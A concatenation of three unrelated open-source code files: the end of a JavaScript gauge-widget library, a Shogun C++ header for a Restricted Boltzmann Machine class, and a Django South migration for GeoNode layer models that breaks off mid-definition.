PointerTypeDef('type16') }; var foregroundType = { TYPE1: new ForegroundTypeDef('type1'), TYPE2: new ForegroundTypeDef('type2'), TYPE3: new ForegroundTypeDef('type3'), TYPE4: new ForegroundTypeDef('type4'), TYPE5: new ForegroundTypeDef('type5') }; var labelNumberFormat = { STANDARD: new LabelNumberFormatDef('standard'), FRACTIONAL: new LabelNumberFormatDef('fractional'), SCIENTIFIC: new LabelNumberFormatDef('scientific') }; var tickLabelOrientation = { NORMAL: new TickLabelOrientationDef('normal'), HORIZONTAL: new TickLabelOrientationDef('horizontal'), TANGENT: new TickLabelOrientationDef('tangent') }; var trendState = { UP: new TrendStateDef('up'), STEADY: new TrendStateDef('steady'), DOWN: new TrendStateDef('down'), OFF: new TrendStateDef('off') }; //********************************** E X P O R T F U N C T I O N S ******************************************* return { // Components EXTERNAL : INTERNAL Radial : radial, RadialBargraph : radialBargraph, RadialVertical : radialVertical, Linear: linear, LinearBargraph: linearBargraph, DisplaySingle: displaySingle, DisplayMulti: displayMulti, Level : level, Compass : compass, WindDirection : windDirection, Horizon : horizon, Led : led, Clock : clock, Battery : battery, StopWatch : stopwatch, Altimeter : altimeter, TrafficLight: trafficlight, LightBulb: lightbulb, Odometer: odometer, // Images drawFrame : drawRadialFrameImage, drawBackground : drawRadialBackgroundImage, drawForeground : drawRadialForegroundImage, // Tools rgbaColor : RgbaColor, ConicalGradient : ConicalGradient, setAlpha : setAlpha, getColorFromFraction : getColorFromFraction, gradientWrapper : GradientWrapper, // Constants BackgroundColor : backgroundColor, LcdColor : lcdColor, ColorDef : color, LedColor : ledColor, GaugeType : gaugeType, Orientation: orientation, FrameDesign : frameDesign, PointerType : pointerType, ForegroundType : foregroundType, KnobType : knobType, KnobStyle: knobStyle, LabelNumberFormat: labelNumberFormat, TickLabelOrientation: tickLabelOrientation, TrendState: trendState, // Other Section : section }; }());
cimenx/PASSION
www/js/vendor/steelseries.js
JavaScript
gpl-3.0
708,180
/* * Copyright (c) 2014, Shogun Toolbox Foundation * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * Written (W) 2014 Khaled Nasr */ #ifndef __RBM_H__ #define __RBM_H__ #include <shogun/lib/config.h> #ifdef HAVE_EIGEN3 #include <shogun/lib/common.h> #include <shogun/base/SGObject.h> #include <shogun/lib/SGMatrix.h> #include <shogun/lib/SGVector.h> #include <shogun/features/DenseFeatures.h> #include <shogun/lib/DynamicArray.h> namespace shogun { enum ERBMMonitoringMethod { RBMMM_RECONSTRUCTION_ERROR=0, RBMMM_PSEUDO_LIKELIHOOD=1 }; enum ERBMVisibleUnitType { RBMVUT_BINARY=0, RBMVUT_GAUSSIAN=1, RBMVUT_SOFTMAX=2 }; /** @brief A Restricted Boltzmann Machine * * An [RBM](http://deeplearning.net/tutorial/rbm.html) is an energy based * probabilistic model. It consists of two groups of variables: the visible * variables \f$ v \f$ and the hidden variables \f$ h \f$. The key assumption * that RBMs make is that the hidden units are conditionally independent given * the visible units, and vice versa. * * The energy function for * RBMs with binary visible units is defined as: * \f[ * E(v,h) = - b^T v - c^T h - h^T Wv * \f] * and for RBMs with gaussian (linear) visible units: * \f[ * E(v,h) = v^T v - b^T v - c^T h - h^T Wv * \f] * * where \f$ b \f$ is the bias vector for the visible units, \f$ c \f$ is the * bias vector for the hidden units, and \f$ W \f$ is the weight matrix. * * The probability distribution is defined through the energy fucntion as: * \f[ * P(v,h) = \frac{exp(-E(v,h))}{\sum_{v,h} exp(-E(v,h))} * \f] * * The above definitions along with the independence assumptions result in the * following conditionals: * \f[ P(h=1|v) = \frac{1}{1+exp(-Wv-c)} \quad \text{for binary hidden units} \f] * \f[ P(v=1|h) = \frac{1}{1+exp(-W^T h-b)} \quad \text{for binary visible units} \f] * \f[ P(v|h) \sim \mathcal{N} (W^T h + b,1) \quad \text{for gaussian visible units} \f] * * Note that when using gaussian visible units, the inputs should be normalized * to have zero mean and unity standard deviation. * * This class supports having multiple types of visible units in the same RBM. * The visible units are divided into groups where each group can have its * own type. The hidden units however are just one group of binary units. * * Samples can be drawn from the model using * [Gibbs sampling](http://en.wikipedia.org/wiki/Gibbs_sampling). * * Training is done using contrastive divergence [Hinton, 2002] or persistent * contrastive divergence [Tieleman, 2008] (default). * * Training progress can be monitored using the reconstruction error (default), * which is the average squared difference between a training batch and the RBM's * reconstruction of it. The reconstruction is generated using one step of gibbs * sampling. Progress can also be monitored using the * [pseudo-log-likelihood](http://en.wikipedia.org/wiki/Pseudolikelihood) which * is an approximation to the log-likelihood. However, this is currently only * supported for binary visible units. * * The rows of the visible_state matrix are divided into groups, one for each * group of visible units. For example, if we have 3 groups of visible units: * group 0 with 10 units, group 1 with 5 units, and group 2 with 6 units, the * states of group 0 will be stored in visible_state[0:10,:], the states of * group 1 will stored in visible_state[10:15,:], and the states of group 2 * will be stored in visible_state[15:21,:]. Note that the groups are numbered * by the order in which they where added to the RBM using add_visible_group() */ class CRBM : public CSGObject { friend class CDeepBeliefNetwork; public: /** default constructor */ CRBM(); /** Constructs an RBM with no visible units. The visible units can be added * later using add_visible_group() * * @param num_hidden Number of hidden units */ CRBM(int32_t num_hidden); /** Constructs an RBM with a single group of visible units * * @param num_hidden Number of hidden units * @param num_visible Number of visible units * @param visible_unit_type Type of the visible units */ CRBM(int32_t num_hidden, int32_t num_visible, ERBMVisibleUnitType visible_unit_type = RBMVUT_BINARY); virtual ~CRBM(); /** Adds a group of visible units to the RBM * * @param num_units Number of visible units * @param visible_unit_type Type of the visible units */ virtual void add_visible_group(int32_t num_units, ERBMVisibleUnitType unit_type); /** Initializes the weights of the RBM. Must be called after all the visible * groups have been added, and before the RBM is used. * * @param sigma Standard deviation of the gaussian used to initialize the * weights */ virtual void initialize(float64_t sigma=0.01); /** Sets the number of train/test cases the RBM will deal with * * @param batch_size Batch size */ virtual void set_batch_size(int32_t batch_size); /** Trains the RBM * * @param features Input features. Should have as many features as there * are visible units in the RBM. */ virtual void train(CDenseFeatures<float64_t>* features); /** Draws samples from the marginal distribution of the visible units using * Gibbs sampling. The sampling starts from the values in the RBM's * visible_state matrix and result of the sampling is stored there too. * * @param num_gibbs_steps Number of Gibbs sampling steps * @param batch_size Number of samples to be drawn. A seperate chain is used * for each sample */ virtual void sample(int32_t num_gibbs_steps=1, int32_t batch_size=1); /** Draws Samples from \f$ P(V) \f$ where \f$ V \f$ is one of the visible * unit groups. The sampling starts from the values in the RBM's * visible_state matrix and result of the sampling is stored there too. * * @param V Index of the visible unit group to be sampled * @param num_gibbs_steps Number of Gibbs sampling steps * @param batch_size Number of samples to be drawn. A seperate chain is used * for each sample * * @return Sampled states of group V */ virtual CDenseFeatures<float64_t>* sample_group( int32_t V, int32_t num_gibbs_steps=1, int32_t batch_size=1); /** Draws Samples from \f$ P(V|E=evidence) \f$ where \f$ E \f$ is one of * the visible unit groups and \f$ V \f$ is all the visible unit excluding * the ones in group \f$ E \f$. The sampling starts from the values in the * RBM's visible_state matrix and result of the sampling is stored there too. * * @param E Index of the evidence visible unit group * @param evidence States of the evidence visible unit group * @param num_gibbs_steps Number of Gibbs sampling steps */ virtual void sample_with_evidence( int32_t E, CDenseFeatures<float64_t>* evidence, int32_t num_gibbs_steps=1); /** Draws Samples from \f$ P(V|E=evidence) \f$ where \f$ E \f$ is one of * the visible unit groups and \f$ V \f$ is another visible unit group. * The sampling starts from the values in the RBM's visible_state matrix * and result of the sampling is stored there too. * * @param V Index of the visible unit group to be sampled * @param E Index of the evidence visible unit group * @param evidence States of the evidence visible unit group * @param num_gibbs_steps Number of Gibbs sampling steps * * @return Sampled states of group V */ virtual CDenseFeatures<float64_t>* sample_group_with_evidence( int32_t V, int32_t E, CDenseFeatures<float64_t>* evidence, int32_t num_gibbs_steps=1); /** Resets the state of the markov chain used for sampling, which is stored * in the visible_state matrix, to random values */ virtual void reset_chain(); /** Computes the average free energy on a given batch of visible unit states. * * The free energy for a vector \f$ v \f$ is defined as: * \f[ F(v) = - log(\sum_h exp(-E(v,h)) \f] * * which yields the following (in vectorized form): * \f[ F(v) = -b^T v - \sum log(1+exp(Wv+c)) * \quad \text{for binary visible units}\f] * \f[ F(v) = \frac{1}{2} v^T v - b^T v - \sum log(1+exp(Wv+c)) * \quad \text{for gaussian visible units}\f] * * @param visible States of the visible units * @param buffer A matrix of size num_hidden*batch_size. used as a buffer * during computation. If not given, a new matrix is allocated and used as * a buffer. * * @return Average free energy over the given batch */ virtual float64_t free_energy(SGMatrix<float64_t> visible, SGMatrix<float64_t> buffer = SGMatrix<float64_t>()); /** Computes the gradients of the free energy function with respect to the * RBM's parameters * * @param visible States of the visible units * @param gradients Array in which the results are stored. * Length get_num_parameters() * @param positive_phase If true, the result vector is reset to zero and * the gradients are added to it with a positive sign. If false, the * result vector is not reset and the gradients are added to it with a * negative sign. This is useful during contrastive divergence. * @param hidden_mean_given_visible Means of the hidden states given the * visible states. If not given, means will be computed by calling * mean_hidden() */ virtual void free_energy_gradients(SGMatrix<float64_t> visible, SGVector<float64_t> gradients, bool positive_phase = true, SGMatrix<float64_t> hidden_mean_given_visible = SGMatrix<float64_t>()); /** Computes the gradients using contrastive divergence * * @param visible_batch States of the visible units * @param gradients Array in which the results are stored. * Length get_num_parameters() */ virtual void contrastive_divergence(SGMatrix<float64_t> visible_batch, SGVector<float64_t> gradients); /** Computes the average reconstruction error which is defined as: * \f[ E = \frac{1}{N} \sum_i (v_i - \widetilde{v})^2 \f] * where \f$ \widetilde{v} \f$ is computed using one step of gibbs sampling * and \f$ N \f$ is the batch size * * @return Average reconstruction error over the given batch */ virtual float64_t reconstruction_error(SGMatrix<float64_t> visible, SGMatrix<float64_t> buffer = SGMatrix<float64_t>()); /** Computes an approximation to the pseudo-likelihood. * See this [tutorial](http://deeplearning.net/tutorial/rbm.html) * for more details. Only works with binary visible units * * @param visible States of the visible units * @param buffer A matrix of size num_visible*batch_size. used as a buffer * during computation. If not given, a new matrix is allocated and used as * a buffer. * * @param return Approximation to the average pseudo-likelihood over the * given batch */ virtual float64_t pseudo_likelihood(SGMatrix<float64_t> visible, SGMatrix<float64_t> buffer = SGMatrix<float64_t>()); /** Returns the states of the visible unit as CDenseFeatures<float64_t> */ virtual CDenseFeatures<float64_t>* visible_state_features() { return new CDenseFeatures<float64_t>(visible_state); } /** Returns the parameter vector of the RBM */ virtual SGVector<float64_t> get_parameters() { return m_params; } /** Returns the weights matrix * * @param p If specified, the weight matrix is extracted from it instead of * m_params */ virtual SGMatrix<float64_t> get_weights( SGVector<float64_t> p = SGVector<float64_t>()); /** Returns the bias vector of the hidden units * * @param p If specified, the bias vector is extracted from it instead of * m_params */ virtual SGVector<float64_t> get_hidden_bias( SGVector<float64_t> p = SGVector<float64_t>()); /** Returns the bias vector of the visible units * * @param p If specified, the bias vector is extracted from it instead of * m_params */ virtual SGVector<float64_t> get_visible_bias( SGVector<float64_t> p = SGVector<float64_t>()); /** Returns the number of parameters */ virtual int32_t get_num_parameters() { return m_num_params; } virtual const char* get_name() const { return "RBM"; } protected: /** Computes the mean of the hidden states given the visible states */ virtual void mean_hidden(SGMatrix<float64_t> visible, SGMatrix<float64_t> result); /** Computes the mean of the visible states given the hidden states */ virtual void mean_visible(SGMatrix<float64_t> hidden, SGMatrix<float64_t> result); /** Samples the hidden states according to the provided means */ virtual void sample_hidden(SGMatrix<float64_t> mean, SGMatrix<float64_t> result); /** Samples the visible states according to the provided means */ virtual void sample_visible(SGMatrix<float64_t> mean, SGMatrix<float64_t> result); /** Samples one group of visible states according to the provided means */ virtual void sample_visible(int32_t index, SGMatrix<float64_t> mean, SGMatrix<float64_t> result); private: void init(); public: /** Number of Gibbs sampling steps performed before each weight update during * training. Default value is 1. */ int32_t cd_num_steps; /** If true, persistent contrastive divergence is used. Default value is true. */ bool cd_persistent; /** If true, the visible units are sampled during contrastive divergence. If * false, the visible units are not sampled, and their mean values are used * instead. Default value is false */ bool cd_sample_visible; /** L2 Regularization coeff, default value is 0.0*/ float64_t l2_coefficient; /** L1 Regularization coeff, default value is 0.0*/ float64_t l1_coefficient; /** Number of weight updates between each evaluation of the monitoring * method. Default value is 10. */ int32_t monitoring_interval; /** Monitoring method */ ERBMMonitoringMethod monitoring_method; /** maximum number of iterations over the training set. * defualt value is 1 */ int32_t max_num_epochs; /** size of the mini-batch used during gradient descent training, * if 0 full-batch training is performed * default value is 0 */ int32_t gd_mini_batch_size; /** gradient descent learning rate, defualt value 0.1 */ float64_t gd_learning_rate; /** gradient descent learning rate decay * learning rate is updated at each iteration i according to: * alpha(i)=decay*alpha(i-1) * default value is 1.0 (no decay) */ float64_t gd_learning_rate_decay; /** gradient descent momentum multiplier * * default value is 0.9 * * For more details on momentum, see this * [paper](http://jmlr.org/proceedings/papers/v28/sutskever13.html) * [Sutskever, 2013] */ float64_t gd_momentum; /** States of the hidden units */ SGMatrix<float64_t> hidden_state; /** States of the visible units */ SGMatrix<float64_t> visible_state; protected: /** Number of hidden units */ int32_t m_num_hidden; /** Number of visible units */ int32_t m_num_visible; /** Batch size */ int32_t m_batch_size; /** Number of visible unit groups */ int32_t m_num_visible_groups; /** Type of each visible unit group */ CDynamicArray<int32_t>* m_visible_group_types; /** Size of each visible unit group */ CDynamicArray<int32_t>* m_visible_group_sizes; /** Row offsets for accessing the states of each visible unit groups */ CDynamicArray<int32_t>* m_visible_state_offsets; /** Number of parameters */ int32_t m_num_params; /** Parameters */ SGVector<float64_t> m_params; }; } #endif #endif
rcurtin/shogun
src/shogun/neuralnets/RBM.h
C
gpl-3.0
16,922
# encoding: utf-8 import datetime from south.db import db from south.v2 import DataMigration from django.db import models class Migration(DataMigration): def forwards(self, orm): # Deleting field id db.delete_column('layers_layer', 'id') # set new primary key for layers_layer db.create_primary_key('layers_layer', ['resourcebase_ptr_id']) def backwards(self, orm): raise RuntimeError("Cannot reverse this migration.") models = { u'actstream.action': { 'Meta': {'ordering': "('-timestamp',)", 'object_name': 'Action'}, 'action_object_content_type': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'action_object'", 'null': 'True', 'to': u"orm['contenttypes.ContentType']"}), 'action_object_object_id': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'actor_content_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'actor'", 'to': u"orm['contenttypes.ContentType']"}), 'actor_object_id': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'data': ('jsonfield.fields.JSONField', [], {'null': 'True', 'blank': 'True'}), 'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'public': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'target_content_type': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'target'", 'null': 'True', 'to': u"orm['contenttypes.ContentType']"}), 'target_object_id': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'timestamp': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2014, 1, 10, 5, 46, 57, 679891)'}), 'verb': ('django.db.models.fields.CharField', [], {'max_length': '255'}) }, u'auth.group': { 'Meta': {'object_name': 'Group'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, u'auth.permission': { 'Meta': {'ordering': "(u'content_type__app_label', u'content_type__model', u'codename')", 'unique_together': "((u'content_type', u'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['contenttypes.ContentType']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, u'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2014, 1, 10, 5, 46, 57, 688538)'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2014, 1, 10, 5, 46, 57, 688151)'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, u'base.contactrole': { 'Meta': {'unique_together': "(('contact', 'resource', 'role'),)", 'object_name': 'ContactRole'}, 'contact': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['people.Profile']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'resource': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['base.ResourceBase']"}), 'role': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['people.Role']"}) }, u'base.region': { 'Meta': {'ordering': "('name',)", 'object_name': 'Region'}, 'code': ('django.db.models.fields.CharField', [], {'max_length': '50'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}) }, u'base.resourcebase': { 'Meta': {'object_name': 'ResourceBase'}, 'abstract': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'bbox_x0': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '19', 'decimal_places': '10', 'blank': 'True'}), 'bbox_x1': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '19', 'decimal_places': '10', 'blank': 'True'}), 'bbox_y0': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '19', 'decimal_places': '10', 'blank': 'True'}), 'bbox_y1': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '19', 'decimal_places': '10', 'blank': 'True'}), 'category': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['base.TopicCategory']", 'null': 'True', 'blank': 'True'}), 'constraints_other': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'contacts': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['people.Profile']", 'through': u"orm['base.ContactRole']", 'symmetrical': 'False'}), 'csw_anytext': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'csw_insert_date': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'null': 'True', 'blank': 'True'}), 'csw_mdsource': ('django.db.models.fields.CharField', [], {'default': "'local'", 'max_length': '256'}), 'csw_schema': ('django.db.models.fields.CharField', [], {'default': "'http://www.isotc211.org/2005/gmd'", 'max_length': '64'}), 'csw_type': ('django.db.models.fields.CharField', [], {'default': "'dataset'", 'max_length': '32'}), 'csw_typename': ('django.db.models.fields.CharField', [], {'default': "'gmd:MD_Metadata'", 'max_length': '32'}), 'csw_wkt_geometry': ('django.db.models.fields.TextField', [], {'default': "'POLYGON((-180 -90,-180 90,180 90,180 -90,-180 -90))'"}), 'data_quality_statement': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'date': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'date_type': ('django.db.models.fields.CharField', [], {'default': "'publication'", 'max_length': '255'}), 'distribution_description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'distribution_url': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'edition': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'language': ('django.db.models.fields.CharField', [], {'default': "'eng'", 'max_length': '3'}), 'maintenance_frequency': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'metadata_uploaded': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'metadata_xml': ('django.db.models.fields.TextField', [], {'default': '\'<gmd:MD_Metadata xmlns:gmd="http://www.isotc211.org/2005/gmd"/>\'', 'null': 'True', 'blank': 'True'}), 'owner': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['auth.User']", 'null': 'True', 'blank': 'True'}), 'purpose': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'regions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['base.Region']", 'symmetrical': 'False', 'blank': 'True'}), 'restriction_code_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['base.RestrictionCodeType']", 'null': 'True', 'blank': 'True'}), 'spatial_representation_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['base.SpatialRepresentationType']", 'null': 'True', 'blank': 'True'}), 'srid': ('django.db.models.fields.CharField', [], {'default': "'EPSG:4326'", 'max_length': '255'}), 'supplemental_information': ('django.db.models.fields.TextField', [], {'default': "u'No information provided'"}), 'temporal_extent_end': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'temporal_extent_start': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'thumbnail': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['base.Thumbnail']", 'null': 'True', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'uuid': ('django.db.models.fields.CharField', [], {'max_length': '36'}) }, u'base.restrictioncodetype': { 'Meta': {'ordering': "('identifier',)", 'object_name': 'RestrictionCodeType'}, 'description': ('django.db.models.fields.TextField', [], {'max_length': '255'}), 'gn_description': ('django.db.models.fields.TextField', [], {'max_length': '255'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'identifier': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'is_choice': ('django.db.models.fields.BooleanField', [], {'default': 'True'}) }, u'base.spatialrepresentationtype': { 'Meta': {'ordering': "('identifier',)", 'object_name': 'SpatialRepresentationType'}, 'description': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'gn_description': ('django.db.models.fields.CharField', [], {'max_length': '255'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'identifier': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'is_choice': ('django.db.models.fields.BooleanField', [], {'default': 'True'}) }, u'base.thumbnail': { 'Meta': {'object_name': 'Thumbnail'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'thumb_file': ('django.db.models.fields.files.FileField', [], {'max_length': '100'}), 'thumb_spec': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'version': ('django.db.models.fields.PositiveSmallIntegerField', [], {'default': '0', 'null': 'True'}) }, u'base.topiccategory': { 'Meta': {'ordering': "('identifier',)", 'object_name': 'TopicCategory'}, 'description': ('django.db.models.fields.TextField', [], {}), 'gn_description': ('django.db.models.fields.TextField', [], {'default': "''", 'null': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'identifier': ('django.db.models.fields.CharField', [], {'default': "'location'", 'max_length': '255'}), 'is_choice': ('django.db.models.fields.BooleanField', [], {'default': 'True'}) }, u'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, u'layers.attribute': { 'Meta': {'object_name': 'Attribute'}, 'attribute': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'attribute_label': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'attribute_type': ('django.db.models.fields.CharField', [], {'default': "'xsd:string'", 'max_length': '50'}), 'average': ('django.db.models.fields.CharField', [], {'default': "'NA'", 'max_length': '255', 'null': 'True'}), 'count': ('django.db.models.fields.IntegerField', [], {'default': '1'}), 'description': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'display_order': ('django.db.models.fields.IntegerField', [], {'default': '1'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'last_stats_updated': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'layer': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'attribute_set'", 'to': u"orm['layers.Layer']"}), 'max': ('django.db.models.fields.CharField', [], {'default': "'NA'", 'max_length': '255', 'null': 'True'}), 'median': ('django.db.models.fields.CharField', [], {'default': "'NA'", 'max_length': '255', 'null': 'True'}), 'min': ('django.db.models.fields.CharField', [], {'default': "'NA'", 'max_length': '255', 'null': 'True'}), 'stddev': ('django.db.models.fields.CharField', [], {'default': "'NA'", 'max_length': '255', 'null': 'True'}), 'sum': ('django.db.models.fields.CharField', [], {'default': "'NA'", 'max_length': '255', 'null': 'True'}), 'unique_values': ('django.db.models.fields.TextField', [], {'default': "'NA'", 'null': 'True', 'blank': 'True'}), 'visible': ('django.db.models.fields.BooleanField', [], {'default': 'True'}) }, u'layers.layer': { 'Meta': {'object_name': 'Layer', '_ormbases': [u'base.ResourceBase']}, 'default_style': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'layer_default_style'", 'null': 'True', 'to': u"orm['layers.Style']"}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'popular_count': ('django.db.models.fields.IntegerField', [], {'default': '0'}), u'resourcebase_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['base.ResourceBase']", 'unique': 'True', 'primary_key': 'True'}), 'share_count': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'store': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'storeType': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'styles': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'layer_styles'", 'symmetrical': 'False', 'to': u"orm['layers.Style']"}), 'typename': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '128'}), 'workspace': ('django.db.models.fields.CharField', [], {'max_length': '128'}) }, u'layers.style': { 'Meta': {'object_name': 'Style'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}), 'sld_body': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'sld_title': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'sld_url': ('django.db.models.fields.CharField', [], {'max_length': '1000', 'null': 'True'}), 'sld_version': ('django.db.models.fields.CharField', [], {'max_length': '12', 'null': 'True', 'blank': 'True'}), 'workspace': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}) }, u'people.profile': { 'Meta': {'object_name': 'Profile'}, 'area': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'city': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'country': ('django.db.models.fields.CharField', [], {'max_length': '3', 'null': 'True', 'blank': 'True'}), 'delivery': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'null': 'True', 'blank': 'True'}), 'fax': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), u'id': 